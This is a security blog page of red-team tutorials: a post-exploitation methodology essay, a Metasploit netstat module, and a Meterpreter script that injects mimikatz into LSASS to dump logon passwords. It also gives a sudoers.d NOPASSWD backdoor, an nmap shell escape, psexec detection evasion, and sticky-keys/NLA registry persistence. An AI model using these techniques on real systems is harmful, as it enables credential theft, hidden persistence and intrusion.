Room362.com

Blatherings of a security addict.

Presence, Persistence, and Pivoting

| Comments

Everyone does things differently, and explaining what goes through an attackers head when they get a shell is virtually impossible and even more so to generalize into a methodology, but I’ve tried to do that with the “3 ‘P’s of Post Exploitation” and they are in a certain order for a reason but certainly up to circumstance to what order is best.

The first P is Presence. It is first because the attacker needs to get a sense of what he/she has got before they move on. It plays a crucial part in the other two ‘P’s, making them much stealthier or easier. Many times I’ve seen people jump from box to box and totally miss that what they were looking for was on the first one. So “Presence” is all about discovering what you (the attacker) has already. This has many levels and the order of which the attacker checks them and how is arbitrary as well, but they should have at the very least a check list of categories to check on. Here are some to think about:

File System:
Knowing “where” to look is tough but in each section below we’ll go into known good places to check and ways to search for files and folders with interesting names and extensions

OS:
Proxy settings, Group Policy settings, login scripts, MOTD, User lists (net user and /etc/passwd). Knowing how the system and attacker has compromised is a crucial piece to understanding how it communicates and works as a piece to the network.

RAM:
Mostly known for pulling hashes and credentials out of it, there are a lot of other interesting things that reside solely in memory

Media:
CDs, DVDs, NFS mounts, SMB mounts, USB sticks. These are often bypassed and forgotten during an attack but can hold the keys to the kingdom

Network:
Routes, ARP entries, netstat are pretty common to check, but broadcast messages, listeners, and IPv6 are less so.

Permissions and Credentials:
This is the obvious one but there is usually a mountain of data as even TinyCore linux has hundreds of files, each with their own permissions. This category extends past the borders of the others but important to single out as a separate step.
Persistence is achieved at varying levels depending on what the attacker is trying to survive and what the attacker is willing to give up on the stealth side. Staying in memory pretty much kills the attackers chance of surviving a reboot for instance. Tactics to survive a rebuild or revert are also very different. Persistence can also come in the form of simple authentication, if the attacker has a password and it nets him/her code execution or access to the data they are after then that’s all they need. Special focus should be applied to the information gathering section of penetration tests or red team engagements in regards to places that require authentication.

Pivoting simple means extending the attackers current access, and can mean anything from connecting to a remote NFS mount to the attacker PSEXEC-ing their Meterpreter payload onto another box that they have administrative access to. This is the last stage because concentration on the previous two is hard to do in the adrenaline high of initial access.

Honorable Mention (the mysterious 4th “P”) Privilege Escalation is not part of the Trio because ( then there would be 4 and I wouldn’t know what to call it) while it’s a regular step performed by attackers, it’s something that usually gets too much emphasis. You do not always need Domain Admin access to access the “crown jewels” .These highly privileged accounts should be assumed to be extremely monitored and coveted. (a.k.a. adding a new user to the Domain Admins group is like lighting your hair on fire and running in the front door of the targets office building screeming “h4x!!”)

Netstat Post Module for Meterpreter

| Comments

Submitted it to MSF via pull request here: https://github.com/rapid7/metasploit-framework/pull/538

Added to trunk: https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/tcpnetstat.rb

I promised this one a while ago, sorry for the delay. This only does TCP, it’d be trivial to do UDP as well but never really found anything interesting and actively going on on the UDP side. It’s real simple, first we’ve gotta add the GetTcpTable function to railgun:

1
2
3
4
5
session.railgun.add_function('iphlpapi', 'GetTcpTable', 'DWORD', [
  ['PBLOB', 'pTcpTable', 'out'],
  ['PDWORD', 'pdwSize', 'inout'],
  ['BOOL', 'bOrder', 'in']
])

Then gauge the size of the table:

1
2
getsize = session.railgun.iphlpapi.GetTcpTable(4,4,true)
buffersize = getsize['pdwSize']

Run the call again with the correct buffer size:

1
tcptable = session.railgun.iphlpapi.GetTcpTable(buffersize,buffersize,true)

Then it’s all just parsing the result. Also pretty straight forward. First we get the number of entries which is held in the first 4 bytes, then just parse the MIB_TCPTABLE one MIB_TCPROW at a time (translating the state to something readable):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
def parse_tcptable(buffer)
  entries = buffer[0,4].unpack("V*")[0]
  print_status("Total TCP Entries: #{entries}")
  rtable = Rex::Ui::Text::Table.new(
      'Header' => 'Routing Table',
      'Indent' => 2,
      'Columns' => ['STATE', 'LHOST', 'LPORT', 'RHOST', 'RPORT']
  )
  offset = 4
  (1..entries).each do
      x = {}
      x[:state] = case buffer[(offset + 0), 4].unpack("V*")[0]
      when 1
          'CLOSED'
      when 2
          'LISTEN'
      when 3
          'SYN_SENT'
      when 4
          'SYN_RCVD'
      when 5
          'ESTABLISHED'
      when 6
          'FIN_WAIT1'
      when 7
          'FIN_WAIT2'
      when 8
          'CLOSE_WAIT'
      when 9
          'CLOSING'
      when 10
          'LAST_ACK'
      when 11
          'TIME_WAIT'
      when 12
          'DELETE_TCB'
      else
          'UNDEFINED'
      end
      
      x[:lhost] = Rex::Socket.addr_itoa(buffer[(offset + 4), 4].unpack("N")[0])
      x[:lport] = buffer[(offset + 8), 4].unpack("n")[0]
      x[:rhost] = Rex::Socket.addr_itoa(buffer[(offset + 12), 4].unpack("N")[0])
      if x[:state] == "LISTEN"
          x[:rport] = "_"
      else
          x[:rport] = buffer[(offset + 16), 4].unpack("n")[0]
      end

      offset = offset + 20
      rtable << [x[:state], x[:lhost], x[:lport], x[:rhost], x[:rport]]
  end

  print_status(rtable.to_s)
end

Evidence of Compromise - Metasploit’s PSEXEC

| Comments

Was messing with the Windows service binaries in Metasploit today and I noticed something unique I hadn’t noticed before. For the PSEXEC module, the service name (actually just the display name, ‘service name’ is random) always started with an uppercase ’M’.

Curious to why that was I looked and found Line 246 of the PSEXEC module to be the culprit:

I can guess why the M is there. Might be just a quirk with old Windows versions that didn’t allow lowercase service names, not sure. Lets change it a bit. Looking around my XP VM I found the perfect one to emulate ;–)

So, quick edit to make it say display name = ‘System Events Notification’ (added the (s) because services can’t have the same display name) and WA LA!

A less visually detectable psexec run. However, how often do you look at your Event logs? ;–)

Companies That Give Back With Free Tools

| Comments

Penetration Testing / Red Teaming requires the use of a lot of tools. I don’t mind getting called a “script kiddie” because I can accomplish more and faster when I don’t have to code every single task I need to do. This post is to point out companies that make this possible and give a small bit of thanks.

(If you’ve ever tried to convince a company to give something away for free, you can understand how big this really is) Some give a lot, some only one tool, but even one is more than some.

Of course the first is going to be Rapid7 and the Metasploit team:

Other company’s free tools sections:

and of course MicrosHHHHHH Sys Internals:

If you know of more, please leave a comment below and I’ll add it to the list.

Integration of Mimikatz Into Metasploit Stage1

| Comments

One of the powers of Metasploit is it’s ability to stay memory resident. Through the use of reflective DLL injection even keeping new functionality the attack loads from ever touching disk. Well, the first thing I wanted to do with Mimikatz is get to that same level.

Here is my first step to that end; a railgun based Meterpreter script. Now before going all reflective with it I needed to understand how the DLL worked. Thankfully @gentilkiwi stepped in and stopped my head from getting bloody. In this first step we will be removing the need for the mimikatz.exe binary, still needing the DLL to be uploaded, but we’ll get there in the subsequent posts.

Ignore the do_cmd for now and I stepped through remote DLL injection here. So the first odd lines is 

1
2
handle = client.railgun.kernel32.CreateNamedPipeW('\\\\.\\pipe\\kiwi\\mimikatz', 'PIPE_ACCESS_DUPLEX', 'PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT', 1, 0, 0, 30000,nil)['return']
connectedlsass = client.railgun.kernel32.ConnectNamedPipe(handle,nil)

Essentially these connect to the Named Pipe that the sekurlsa.dll uses to talk to the mimikatz.exe in it’s normal operation. Then we just use the windows API call “ReadFile” from there on out.

1
client.railgun.kernel32.ReadFile(handle,248,248,4,nil)

One of the draw backs to doing this all remotely is that Railgun doesn’t have the memory management insight like the Windows OS does. Being able to know when pipes are ready to be read or written to is  a bit of a challenge and the call hangs your IRB / meterpreter session if you get it wrong. I’ve overcome this for the initial “banner” that sekurlsa writes by knowing the exact length (248 bytes in this case) of the text. For subsequent commands like “ping” and “getLogonPasswords” I simply have to read one character at a time, which is a slow process but removes any chance of getting hung. (Two bytes for every Unicode character)

If you have any questions on how/why this works or have a better way please leave your comments and questions below or hit me up on twitter!

Meterpreter Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
def do_cmd(handle,cmd)
  ucommand = Rex::Text.to_unicode(cmd)
  sendcmd = client.railgun.kernel32.WriteFile(handle,ucommand,ucommand.size,4,nil)
  good2go = false
  newline = false
  readstring = []
  while good2go == false
      # Have to pull data 1 unicode character at a time
      # this is because the pipe won't write or read if
      # too much was written or read by the "client" (us)
      pull = client.railgun.kernel32.ReadFile(handle,2,2,4,nil)
      # Check to see if our end of read check is there: n000 @00
      if pull['lpBuffer'] == "@00" and newline == true
          good2go = true
      else
          readstring << pull['lpBuffer']
      end
      
      # Ready the newline var for previous check on next loop
      if pull['lpBuffer'] == "n00"
          newline = true
      else
          newline = false
      end
  end
  
  print_status(readstring.join(""))
end

print_status("x86 Detected - Using x86 mimikatz")
handle = client.railgun.kernel32.CreateNamedPipeW('\\\\.\\pipe\\kiwi\\mimikatz', 'PIPE_ACCESS_DUPLEX', 'PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT', 1, 0, 0, 30000,nil)['return']
print_status("Handle: #{handle}")
framework.threads.spawn('injectlsass',false) {
  pid = client.sys.process['lsass.exe']
  print_status("LSASS located at PID: #{pid}")
  pathtomimi = "C:\\sekurlsa.dll"

  pay = client.framework.payloads.create("windows/loadlibrary")
  pay.datastore["DLL"] = pathtomimi
  pay.datastore["EXITFUNC"] = 'thread'

  raw = pay.generate
  targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
  mem = targetprocess.memory.allocate(raw.length + (30024))
  targetprocess.memory.write(mem, raw)
  sleep(2)
  targetprocess.thread.create(mem, 0)
  print_status("Successfully Injected into LSASS")
}
print_status("Waiting for LSASS injection to complete")
connectedlsass = client.railgun.kernel32.ConnectNamedPipe(handle,nil)
print_status("Mimikatz has called home, ready for command")
sleep(2)
print_status("Reading banner")
client.railgun.kernel32.ReadFile(handle,248,248,4,nil)
print_status("Doing a quick ping to make sure things are working...")
do_cmd(handle,'ping')
print_status("If you made it this far it worked, doing getLogonPasswords")
do_cmd(handle, 'getLogonPasswords')

SUDOERS Commented Includes Used for Evil

| Comments

I found a number of things interesting when reading the following post:

http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/

Too bad that nmap’s interactive mode was taken out, but there are a great number of other such methods, most notably VI’s shell mode. 

But when I started looking into appending or inserting lines into /etc/sudoers for CCDC, I happened upon an interesting function of that file. Near the end of the file there are two lines:

1
2
# See sudoers(5) for more information on "#include" directives:  
#includedir /etc/sudoers.d

Both look commented out, but in actuality, exactly as-is the #includedir line is interpreted and acted upon. So any file that you put in the /etc/sudoers.d directory counts as an extension of the /etc/sudoers file. Make a small edit to the default README file with a bunch of added # commented out lines copied directly from the sudo man page, with a

nobody ALL = NOPASSWD: ALL

or www-data plus a webshell makes for easy re-exploitation. Just an evil way to stay hidden on a ‘nix box… 

Update: 

nmap --script <(echo "os.execute('/bin/sh')")

‘nuf said…  (thanks @bonsaiviking )

Post Exploitation With PhantomJS

| Comments

If you have never heard of PhantomJS ( http://phantomjs.org/ ) before, it’s a “Full Web Stack with No Browser Required”, basically it a GUI-less browser. One of the magical “example” files that it has is called “rasterize.js”

Rasterize.JS essentially renders a URL, screen shots it and give it to you in a number of different formats, here’s it’s usage:

1
2
Usage: rasterize.js URL filename [paperwidth*paperheight|paperformat]
 paper (pdf output) examples: "5in*7.5in", "10cm*20cm", "A4", "Letter"

PhantomJS is sweet for sweeping a ton of IPs and suspected HTTP/S sites, and look through a gallery of them to start figuring out which looks the most interesting… and we are going to essentially just that, except from a Victim machine.

First, download the Win32 static bins for PhantomJS from: http://code.google.com/p/phantomjs/downloads/list

Pull out phantomJS.exe and rasterize.js from the zip, and upload it to your victim.

Make a special directory for your renderings (I use imgs), this also makes it easy for meterpreter to download it since meterpreter supports directories and download targets.

Now make a BAT file with the following in it:

1
2
FOR /F "skip=3 delims= " %%A IN ('NET VIEW') DO start /b phantomjs.exe examplesrasterize.js http://%%A imgshttp_%%A.png
FOR /F "skip=3 delims= " %%A IN ('NET VIEW') DO start /b phantomjs.exe --ignore-ssl-errors=yes examplesrasterize.js https://%%A imgshttps_%%A.png

There are some cool tricks in here. First we are using ‘net view’ as our target list, we are using the ‘start /b’ command to throw everything into the background to run so we don’t have to wait for each to finish (a crude way to thread actions in BAT files). And finally we are checking for both HTTP and HTTPS. We we are not doing however is doing any logging, so if you want to catch errors it’s all you, just remember that when trying to pipe output from a command started with ‘start’ you have to prefix the > with a ^ so it looks like:

start echo blah ^> blah.txt

You are ALMOST ready to rock. There is a slight bug in Rasterize.js, if it can’t resolve the address or otherwise can’t contact the web server (which is going to be the majority of the case for us) it hangs in an open state. This is bad, we don’t want to have a thousand phantomjs.exe processes running hanged. Simply make a new line after LINE 20, and add ‘phantom.exit();’ so it knows to exit if it encounters a failed connection.

Thats it, happy hunting from both inside and outside.

P.S. PhantomJS supports SOCKS and HTTP proxies, so if you use them (Tor) or run into them internally, support is there. A quick mod to your batch file and you’re golden:

1
2
3
--proxy=address:port Sets the network proxy (e.g. "--proxy=192.168.1.42:8080")  
--proxy-auth=username:password Sets authentication details for the proxy (basic auth)  
--proxy-type=[http|socks5] Sets the proxy type, either "http" (default) or "socks5"

Sticky Keys and Utilman Against NLA

| Comments

At CCDC, Sticky Keys via RDP was a very successful re-entry point for the Red Team. You can read more about how this works here:

http://carnal0wnage.attackresearch.com/2012/04/privilege-escalation-via-sticky-keys.html

So if you can get physical access or SYSTEM/Admin access at some point and enable + reach RDP, you can very easily follow those instructions and gain a level of persistance without the need of a pesky password :–)

However, this doesn’t work so well with the advent of NLA or Network-Level-Authentication, which was enabled for Vista systems and beyond. In particular Win 2008 R2 uses it by default. StickyKeys don’t work so well if you have to authenticate first. Boo!

But, if you are already on a box with Admin access for a time, you can make one additional change so that you are back to Sticky Key and Utilman heaven.

  • HKEY_LOCAL_MACHINESystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp

Change the value of UserAuthentication value to 0, and instantly you are back to slamming the shift key and popping system shellz.

— mubix

P.S. I ran into permissions errors when trying to copy cmd.exe over sethc.exe and utilman.exe:

But a brilliant fix to this annoying security control ;–) was provided here:

http://carnal0wnage.attackresearch.com/2012/04/privilege-escalation-via-sticky-keys.html?showComment=1335891005473#c7632690272609583721

By setting CMD as the debugger for sethc.exe or utilman.exe Windows executes the debugger first, so back shelling again.

DerbyCon Training (Sep 27-28 2012)

| Comments

@egypt and I have teamed up this year to teach at DerbyCon at the end of September. Here is the very basic outline of the class and subject to change:

(Sign up here: https://www.derbycon.com/training-courses/ )

THURSDAY

  • Intro to the Framework
  • The history of the Framework
  • Ninja Demo
  • Usage
  • Recon
  • Exploitation
  • Pillaging
  • Post modules
  • Intro to Ruby
    • Getting your environment set up
    • Ruby Basics Strings, Arrays, and Methods oh my
    • IRB, Pry – The No-Spoon Portion
    • Navigating Documentation
  • Module Writing
    • Auxiliary Modules
    • Exploit Modules
    • Post Modules
  • Railgun (Windows and ?Linux?)
  • Meterpreter(s)
  • The Dread Pirate Reporting
  • LAB, LABs and more LABS

FRIDAY

  • CTF + open LAB time

definitely open to requests for content, if you, as a student, would like a particular topic included.

phDays in Moscow

| Comments

A friend of mine is presenting at phDays in Moscow at the end of May. If you are in the area, or can be, I would highly recommend you attend, and in particularly his talk.

His blog is here: http://blog.gentilkiwi.com/

And since a picture is worth a thousand words:

You should really go check out what he is going to present… just sayin’